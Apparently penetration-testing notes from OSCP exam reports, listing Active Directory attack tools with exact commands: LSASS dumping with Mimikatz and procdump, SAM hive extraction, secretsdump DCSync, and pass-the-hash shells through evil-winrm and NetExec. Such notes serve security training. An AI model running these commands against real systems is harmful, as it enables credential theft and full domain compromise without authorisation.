Tools Used
AD — Tools Used
Enumeration
| Tool | Usage |
|---|---|
nmap | Port scanning External/Internal/DC: nmap -p- -T4 -sCV -Pn $IP |
nxc (NetExec) | SMB share enumeration, credential validation, pass-the-hash testing across AD targets |
Initial Access
| Tool | Usage |
|---|---|
evil-winrm | Primary shell tool for WinRM sessions: evil-winrm -i $IP -u $USER -p $PASS or evil-winrm -i $IP -u $USER -H $HASH for pass-the-hash |
Privilege Escalation on External
| Tool | Usage |
|---|---|
| Mimikatz | LSASS credential dumping (SeDebugPrivilege): privilege::debug → sekurlsa::logonpasswords |
procdump.exe | Alternative LSASS dump for offline parsing: procdump.exe -ma lsass.exe lsass.dmp |
reg (Windows built-in) | SAM/SYSTEM hive extraction (SeBackupPrivilege): reg save HKLM\SAM C:\Temp\sam.hive |
Lateral Movement & Credential Extraction
| Tool | Usage |
|---|---|
nxc (NetExec) | Credential/hash validation on SMB: nxc smb $IP -u $USER -H $HASH |
smbclient | Browsing and downloading backup files from Internal shares |
impacket-secretsdump | Offline dump from SAM/SYSTEM hives: impacket-secretsdump -sam sam.hive -system system.hive LOCAL; DCSync: impacket-secretsdump -just-dc-ntlm oscp.exam/$USER:$PASS@$DC |
Domain Compromise
| Tool | Usage |
|---|---|
impacket-secretsdump | DCSync to dump all domain hashes: impacket-secretsdump -just-dc-ntlm oscp.exam/$USER:$PASS@$DC_IP |
evil-winrm | Domain Admin shell via pass-the-hash: evil-winrm -i $DC_IP -u Administrator -H $HASH |
Optional / Situational
| Tool | Usage |
|---|---|
| BloodHound / SharpHound | AD attack path enumeration — not confirmed used in these reports but relevant for excessive permissions analysis |
pypykatz | Offline LSASS dump parsing alternative to Mimikatz |